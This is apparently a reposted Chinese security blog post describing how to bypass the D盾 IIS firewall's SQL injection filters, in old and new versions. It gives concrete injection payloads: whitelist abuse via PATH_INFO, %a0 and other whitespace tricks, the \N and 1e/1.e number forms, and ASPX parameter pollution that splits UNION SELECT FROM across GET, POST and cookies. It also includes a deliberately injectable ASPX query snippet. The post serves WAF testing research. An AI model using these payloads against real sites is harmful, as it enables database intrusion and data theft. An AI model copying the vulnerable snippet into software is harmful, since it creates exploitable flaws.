1. 程式人生 > >21. Bypass D盾_防火墻(舊版 and 新版)SQL註入防禦(多姿勢)

21. Bypass D盾_防火墻(舊版 and 新版)SQL註入防禦(多姿勢)

探索 2.0 如果 win sel cookie 系統 ID 保護

D盾舊版:

00前言

D盾_IIS防火墻,目前只支持Win2003服務器,前陣子看見官方博客說D盾新版將近期推出,相信功能會更強大,這邊分享一下之前的SQL註入防禦的測試情況。D盾_IIS防火墻註入防禦策略,如下圖,主要防禦GET/POST/COOKIE,文件允許白名單設置。

構造不同的測試環境,IIS+(ASP/ASPX/PHP)+(MSSQL/MYSQL),看到這邊的策略,主要的測試思路:

a、白名單

b、繞過union select或select from的檢測

技術分享圖片

01 PHP+IIS+MYSQL

搭建這個window2003+IIS+php+mysql,可花費不少時間,測試過程還蠻順利的,先來一張攔截圖:

技術分享圖片

繞過姿勢一:白名單

PHP中的PATH_INFO問題,簡單來說呢,就是

http:/x.x.x.x/1.php?id=1 等價於

http://x.x.x.x/1.php/xxxxxxxxxxxxx?id=1

白名單中隨便挑個地址加在後面,可成功bypass,

http://x.x.x.x/1.php/admin.php?id=1 union select 1,2,schema_name from information_schema.SCHEMATA

經測試,GET、POST、COOKIE均有效,完全bypass

技術分享圖片

繞過姿勢二:空白字符

Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0;

測試了一下,基本上針對MSSQL的[0x01-0x20]都被處理了,唯獨在Mysql中還有一個%a0可以利用,可以看到%a0與select合體,無法識別,從而繞過。

http://x.x.x.x/1.php?id=1 union%a0select 1,2,3 from admin

技術分享圖片

繞過姿勢三:\N形式

主要思考問題,如何繞過union select以及select from?

如果說上一個姿勢是union和select之間的位置的探索,那麽是否可以考慮在union前面進行檢測呢?

為此在參數與union的位置,經測試,發現\N可以繞過union select檢測,同樣方式繞過select from的檢測。

http://x.x.x.x/1.php?id=\Nunion(select 1,schema_name,\Nfrom information_schema.schemata)

技術分享圖片

02 IIS+ASP/ASPX+MSSQL

搭建IIS+ASP/ASPX+MSSQL環境,思路一致,只是語言與數據庫特性有些許差異,繼續來張D盾攔截圖:

技術分享圖片

繞過姿勢一:白名單

ASP: 不支持,找不到路徑,而且D盾禁止執行帶非法字符或特殊目錄的腳本(/1.asp/x),撤底沒戲了

http://x.x.x.x/admin.php/../1.asp?id=1 and 1=1 攔截 /1.asp?b=admin.php&id=1 and 1=1 攔截,可見D盾會識別到文件的位置,並不是只檢測URL存在白名單那麽簡單了。。。

ASPX:與PHP類似 http://x.x.x.x/1.aspx/admin.php?id=1 union select 1,‘2‘,TABLE_NAME from INFORMATION_SCHEMA.TABLES 可成功bypass

技術分享圖片

繞過姿勢二:空白字符

Mssql可以利用的空白字符有:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20 [0x01-0x20]全部都被處理了,想到mysql %a0的漏網之魚是否可以利用一下?

ASP+MSSQL: 不支持%a0,已放棄。。。

ASPX+MSSQL: %a0+%0a配合,可成功繞過union select的檢測 id=1 union%a0%0aselect 1,‘2‘,TABLE_NAME %a0from INFORMATION_SCHEMA.TABLES

技術分享圖片

繞過姿勢三:1e(科學記數法)形式

MSSQL屬於強類型,這邊的繞過是有限制,from前一位顯示位為數字類型,這樣才能用1efrom繞過select from。 只與數據庫有關,與語言無關,故ASP與ASPX一樣,可bypass,id=1eunion select ‘1‘,TABLE_NAME,1efrom INFORMATION_SCHEMA.TABLES

技術分享圖片

D盾新版:

00前言:

『D盾_防火墻』專為IIS設計的一個主動防禦的保護軟件,以內外保護的方式防止網站和服務器給入侵。新版的D盾_防火墻,支持系統:win2003/win2008/win2012/win2016,在IIS整體防護效果,還是非常給力的。本文通過一個SQL註入點,分享一個Bypass D盾_防火墻SQL註入防禦的思路。

01環境搭建:

構造一個ASPX+MSSQL註入點:

string id = Request.Params["id"];

string sql = string.Format("select * from admin where id={0}", id);

『D盾_防火墻』 版本: v2.0.6.70

技術分享圖片

02 特殊的MSSQL特性:

一、MSSQL特性

在MSSQL中,參數和union之間的位置,常見的可填充方式有如下幾種:

(1)空白字符 Mssql可以利用的空白字符有:

01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

(2)註釋符號

Mssql也可以使用註釋符號/**/

(3)浮點數

select * from admin where id=1.1union select 1,‘2‘,db_name() from admin

(4)1E0的形式:

select * from admin where id=1e0union select 1,‘2‘,db_name() from admin

二、Bypass Fuzz

使用以上幾種常規的形式進行測試,都沒有效果,接著針對構造的SQL註入點,進行Fuzz參數和union之間的位置

http://x.x.x.x/sql.aspx?id=1【Fuzz位置】union select null,null,SYSTEM_USER

Fuzz結果:通過1.e這種特殊的數值形式,可成功繞過union select防禦。

技術分享圖片

到這裏,可union select,形成了部分Bypass,接下來考慮,如何去繞過select from的防禦規則。

03 aspx特性的分割註入

一、ASPX HPP特性

假設GET/POST/COOKIE同時提交的參數id,服務端接收參數id的順序是什麽樣呢?

ASPX+IIS:同時提交參數id,會接收所有參數,通過逗號分隔,如下圖:

技術分享圖片

二、Bypass 測試

利用ASPX+IIS同時接收參數的方式比較特別,可以用這個特性來搞事。 利用這個特性來拆分select from,從而繞過D盾的SQL註入防禦規則。

技術分享圖片

04總結:

部分Bypass 1.e這中特殊的數值形式適合於MSSQL的場景。

完全Bypass姿勢的局限:

使用Request.Params["id"]來獲取參數, 三種方式可以進行參數傳遞:(1)GET (2)POST (3)COOKIE 獲取到參數拼接起來。

利用場景略局限,僅僅作為Bypass分享一種思路而已。

另外,如果把UNION SELECT FROM 三個關鍵字分別放在GET/POST/COOKIE的位置,通過ASPX的特性連起來,我相信這是很多waf都防禦不了的。

21. Bypass D盾_防火墻(舊版 and 新版)SQL註入防禦(多姿勢)